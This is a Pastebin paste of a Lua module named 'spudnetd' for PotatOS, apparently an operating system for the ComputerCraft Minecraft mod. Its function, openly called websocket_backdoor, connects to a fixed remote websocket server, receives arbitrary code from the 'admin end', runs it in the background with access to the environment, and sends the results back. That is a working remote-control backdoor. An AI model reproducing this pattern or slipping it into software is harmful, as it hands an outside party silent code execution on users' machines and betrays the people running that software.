Advertisement
osmarks

PotatOS Tetrahedron - SPUDNETd Module

Feb 5th, 2019
236
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.18 KB | None | 0 0
  1. local _E = _ENV
  2.  
  3. local function websocket_backdoor()
  4.     if not http or not http.websocket then return "Websockets do not actually exist on this platform" end
  5.  
  6.     local ws, err = http.websocket "wss://osmarks.tk/wsthing/potatOS"
  7.     if not ws then printError(err) return end
  8.  
  9.     local function send(msg)
  10.         ws.send(json.encode(msg))
  11.     end
  12.  
  13.     local function recv()
  14.         while true do
  15.             local e, u, code = coroutine.yield "websocket_message"
  16.             if e == "websocket_message" and u == "wss://osmarks.tk/wsthing/potatOS" then
  17.                 return code
  18.             end
  19.         end
  20.     end
  21.  
  22.     _E.send = send
  23.     _E.recv = recv
  24.  
  25.     local count = 0
  26.  
  27.     while true do
  28.         -- Receive and run code from backdoor's admin end
  29.         local code = recv()
  30.         local f, error = load(code, "@<code>", "t", _E)
  31.         if f then -- run safely in background, send back response
  32.             process.spawn(function()
  33.                 local resp = {pcall(f)}
  34.                 for k, v in pairs(resp) do
  35.                     local ok, thing = pcall(json.encode, v)
  36.                     if not ok then
  37.                         resp[k] = tostring(v)
  38.                     end
  39.                 end
  40.                 send(resp)
  41.             end,
  42.             string.format("spudnetd-%x", count), {
  43.                 ephemeral = true
  44.             })
  45.             count = count + 1
  46.         else
  47.             send {false, error}
  48.         end
  49.     end
  50. end
  51.  
  52. return {
  53.     name = "spudnetd",
  54.     async = websocket_backdoor
  55. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement